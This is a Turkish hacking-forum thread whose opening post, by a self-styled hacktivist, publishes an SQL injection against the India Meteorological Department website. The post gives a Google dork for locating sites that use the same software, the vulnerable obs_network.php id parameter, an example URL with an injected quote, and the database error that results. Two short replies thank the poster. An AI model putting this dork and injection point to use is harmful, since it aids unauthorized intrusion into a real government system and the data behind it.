Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: India Ministry of Earth Sciences Meterology SQL Inj
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,377 / 1,377
Deneyim: 8 / 100
Rep Sayısı: 2785
Mesaj Sayısı: 6381
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
India Ministry of Earth Sciences Meterology SQL Inj
07.09.2018 05:32
################################################################################​#################

# Exploit Title : India Ministry of Earth Sciences Meteorological Department SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 07/09/2018
# Vendor Homepage : imd.gov.in
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]

################################################################################​#################

# Google Dork :

intext:''Copyright © India Meteorological Department 2015
This Website belongs to India Meteorological Department, Ministry of Earth Sciences,Government of India''

# Exploit : /PATH/obs_network.php?id=[SQL Inj]

################################################################################​#################

# Example Site => imd.gov.in/pages/obs_network.php?id=16' => [ Proof of Concept ] => archive.is/zaH4f

# SQL Database Error =>

You have an error in your SQL syntax; check the manual that corresponds to
your MariaDB server version for the right syntax to use near '%') ORDER BY obs_name' at line 1

################################################################################​#################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

################################################################################​#################

We don't care what people think about us, we are proud of us, we not gonna change for anyone. I do not have own no website. No Contact. # KingSkrupellos # Cyberizm Digital Security Technological Turkish Moslem Army.



Alinti
Werdanda53
*
avatar
Yüzbaşı
Durum: Çevrimdışı
Seviye Puanı: 14
Yaşam Puanı: 70 / 337
Deneyim: 48 / 100
Rep Sayısı: 17
Mesaj Sayısı: 240
Üyelik Tarihi: 25.11.2015
     
Yorum: #2
RE: India Ministry of Earth Sciences Meterology SQL Inj
07.09.2018 15:24
Emeğine Sağlık Usta.


------------------------------------------------------- Ne Mutlu Türk'üm Diyene! -------------------------------------------------------
Alinti
DARKDAYS
*
avatar
Albay
Durum: Çevrimdışı
Seviye Puanı: 29
Yaşam Puanı: 713 / 713
Deneyim: 54 / 100
Rep Sayısı: 438
Mesaj Sayısı: 1138
Üyelik Tarihi: 08.04.2017
      
Yorum: #3
RE: India Ministry of Earth Sciences Meterology SQL Inj
07.09.2018 16:49
Teşekkürler, Emeğine Sağlık Smile

Parmak uçlarına bak, parmak izlerini görüceksin ve o izlerden ne önce, ne şimdi, ne daha sonra olucak.
Dünya üzerinde 150 Milyar insan yaşamış, biri o parmak izlerine sahip değil !

MİRROR
Alinti



1 Ziyaretçi